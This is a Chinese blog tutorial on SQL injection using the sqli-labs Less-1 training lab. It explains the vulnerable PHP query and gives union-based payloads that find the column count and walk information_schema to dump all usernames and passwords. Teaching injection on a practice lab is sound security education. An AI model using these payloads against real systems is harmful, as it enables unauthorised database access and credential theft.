首页 > 数据库 >基于sqli-labs Less-1的sql注入原理详细讲解

基于sqli-labs Less-1的sql注入原理详细讲解

时间:2024-09-11 18:51:48浏览次数:11  
标签:回显 Less 查询 labs sqli --+ id select 注入

SQLi Labs 是一个专为学习和测试 SQL 注入漏洞而设计的实验室平台。它旨在帮助安全研究人员、开发者以及网络安全爱好者深入理解和实践各种 SQL 注入攻击。SQLi Labs 提供了一系列精心设计的实验室环境和挑战,模拟真实的 SQL 注入漏洞,并提供相应的解决方案。

关于sqli-labs靶场的本地搭建,我建议大家参考sqli-labs搭建教程

白盒测试

要理解sql注入的原理,我们就必须先了解工程师是如何实现以下功能的:在前端接受一个用户提交的参数,在后端依据该参数在数据库中查询相关内容,并将它返回到前端。
就像Less-1中,通过在前端接收了参数id的值,在数据库中查询了id=1的数据,并输出了login name与password。

理解后端的代码并不需要深厚的php代码知识,我们暂且只需要理解以下三个代码就能明白它的执行原理:

$id=$_GET['id'];   //通过GET方式,从前端的id参数接受数据,并赋给后端的变量id。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  //构造一个查询语句,用于从user表中查找 id(列名)=$id(变量)那行的所有数据
$result=mysql_query($sql);  //mysql_query将我们构造好的查询语句,发送给mysql,并将执行结果返回并赋给$result,在后续未展示的代码中result将被输出到前端

此时,假如我们令参数id为第一行的代码,则查询语句就会变成第二行的结果。我们在1后面添加的'和原本包裹变量$id的前面的'成对,从而使我们成功在后面加入了一个判断,由于1≠2,那么查询就会报错。这样,我们就有可能通过闭合前面的'来执行一些其他的操作,请看接下来的注入过程吧。

id=1' and '1'='2
SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1

黑盒测试

1. 判断注入类型

?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 错误
?id=1' 错误
?id=1'--+ 回显
  • 为什么要判断注入类型:在刚才的白盒中,可以看到查询语句中$id是被'包裹的,除了单引号,双引号、括号等都有可能用于包裹$id,因此,必须尝试出正确的符号来闭合包裹的符号。
  • --+:是一个注释符,后面的代码将被忽略,避免后面可能存在的条件影响前面注入的结果。

2. 判断字段数

/?id=1' order by 1--+
/?id=1' order by 2--+
/?id=1' order by 3--+
  • order by 介绍:当我们传入一个参数时,可能会查到多行结果,order by的作用就是将所有的数据按照第x列的数据进行排序,当第x列不存在时就会报错,因而order by函数可以查出列数(即字段数)
  • 为什么要判断字段数:在接下来的联合查询形成的语句会是select * where id = 1 union select 1,2,3,联合查询两个select的列数必须一致,*代表所有列,因此要先知道总列数,才能正确设置联合查询的列数

3. 判断注入点

/?id=1' union select 1,2,3--+   '数据回显,但是没有回显注入点
/?id=0' union select 1,2,3--+   '回显注入点为2和3
  • 什么是联合查询:就是在执行完select * where id='1'后,再执行select 1,2,3,并将结果合并,其中select 1,2,3返回一行包含三个固定值的结果,每个值分别是 1, 2, 3
  • 为什么要判断注入点:假设有一个表,列名(即字段名)分别为id、name、gender...,但是该网站的设计是,输入id,告诉你name是什么。总结而言,虽然表中有许多列,但并不是所有列的数据都会被输出到前端,因此必须要先寻找会被输出的位置才能进行后续的注入。
  • 为什么第二行修改为id=0成功回显:在刚刚的白盒中,我并未介绍LIMIT 0,1的作用,其作用为在查询到的所有数据中,从第0行开始,输出1行。当id=1时,是能够正常查询到数据的,于是只有这一行被输出了。因此我们将id设置为0(或者负数),使得主查询查不到数据,后面联合查询的数据就能正常输出了。

4. 拆解数据库

/?id=0' union select 1,2,database()--+    '数据库security

/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users

/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  '字段id,username,password

/?id=0' union select 1,group_concat(username),group_concat(password) from security.users --+ 
  • database():当前数据库名,代替3的位置后,数据库名就会被输出。
  • group_concat:将得到的所有结果拼接起来并返回,如果不拼接,只会显示查到的第一行结果。
  • information_schema:是mysql自带的一个特殊的数据库,它记录了所有的表名、列名,通过它,我们就能从数据库名一层层的拆解出我们想要数据的列名、表名,并查询到想要的数据。
    以下为注入结果,输出了所有用户名与密码。

写在最后

网安的学习需要多动手、多调试、多思考,简单的跟着教程走只能学到表面的知识,无法真正理解其中的原理。只有通过不断地实践,遇到问题时深入分析和解决,才能提升自己的技术能力。同时,保持好奇心,多去探索不同的安全工具和技术,积极参与社区讨论,分享和学习他人的经验,才能在这个快速发展的领域中不断进步。

标签:回显,Less,查询,labs,sqli,--+,id,select,注入
From: https://www.cnblogs.com/xinghaihe/p/18405421

相关文章

  • sqli-labs靶场自动化利用工具——第8关
    文章目录概要整体架构流程技术细节执行效果小结概要Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里......
  • 十分钟了解规模化敏捷LeSS
    00前言LeSS的第一次学习是在2019年1月份,当时的感觉挺烧脑,对SystemThinking第一次接触,很多东西似懂非懂,学的并不是很扎实。幸运的是,两年后终于有机会跟着吕毅老师重修LeSS,也算是对知识的重新回炉了。第二次参加培训,对于LeSS的更细致内容以及运用SystemThinking来思考LeSS背后......
  • [MX-X3-T5 & RiOI-4] Countless J-Light Decomposition Solution
    看题以为自己会了,写代码的时候发现有细节没考虑清楚,复杂度写挂了以为被卡常了,调用并查集函数还手残打错了,浪费大半个下午。NOI之后属于越训越菜了QwQ。回到这个题,首先这个题当\(i\)固定时做法是显然的,我们自底向上考虑,每次一定是ban掉连向当前最长链最大子树的\(i\)条边......
  • Headless Service和ClusterIP区别
    在Kubernetes中,Service是用于暴露Pod的一种抽象。两种常见的Service类型是HeadlessService和ClusterIP。它们之间有一些关键区别:1.ClusterIP定义:ClusterIP是Kubernetes中的默认Service类型,它为Service分配一个虚拟IP(VIP),并将流量路由到后端Pod。访问方式:......
  • linux虚拟机(centos)搭建sqli-labs
    1.开启小皮2.查看文件位置配置文件路径为/usr/local/phpstudy/soft[root@localhostsoft]#cd/www/admin/localhost_80[root@localhostsoft]#pwd/usr/local/phpstudy/soft网站根目录为/www/admin/localhost_80/wwwroot[root@localhostlocalhost_80]#cdwwwroot[roo......
  • CSS预处理器(如Sass和Less)的优势在哪里?
    CSS预处理器(如Sass和Less)的优势在哪里?在现代网页开发中,CSS是不可或缺的一部分。随着项目的复杂度不断增加,传统的CSS编写方式暴露出了一些局限性。为了解决这些问题,开发者们引入了CSS预处理器,如Sass和Less。这些工具不仅提高了CSS的可维护性和可读性,还为开发者提供了一系列......
  • pbootcms提示:“未检测到您服务器环境的sqlite3数据库扩展...”
    解决方法主要有两种,需根据具体情况进行选择。 第一种方法是将数据库配置连接驱动改为pdo_sqlite。首先,按照相关提示,把数据库配置连接驱动修改为pdo_sqlite。随后,可依照图文进行操作。具体而言,打开数据库配置文件,即位于/config/database.php的文件。在该文件中,找到'type'这......
  • Python使用sqlite数据库快速创建库和表
    一、安装SQLite1、下载sqliteSQLiteDownloadPage2、解压安装包3、设置环境变量二、快速创建库和表的代码importsqlite3importos#数据库文件名db_name='StarVerification.db'new_db_name_base='StarVerification_old.db'new_db_name=new_db_name_b......
  • Serverless 应用引擎 SAE 助力袋拉拉研发提效 70%
    作者:百潼医院环保IOT设备的引领者:机汽猫机汽猫是⼀家致⼒于通过投放⾃助取袋设备,为医院场景提供新型环保袋交付⽅式的科技公司。它成⽴于2019年,旗下品牌袋拉拉(DaiLala)通过投放⾃助取袋机,解决了医院对环保袋的管理问题,让⽤户能够随时使⽤环保袋,同时也致力于在医疗场景投放各类型......
  • Serverless 应用引擎 SAE 助力袋拉拉研发提效 70%
    作者:百潼医院环保IOT设备的引领者:机汽猫机汽猫是⼀家致⼒于通过投放⾃助取袋设备,为医院场景提供新型环保袋交付⽅式的科技公司。它成⽴于2019年,旗下品牌袋拉拉(DaiLala)通过投放⾃助取袋机,解决了医院对环保袋的管理问题,让⽤户能够随时使⽤环保袋,同时也致力于在医疗场景投放各......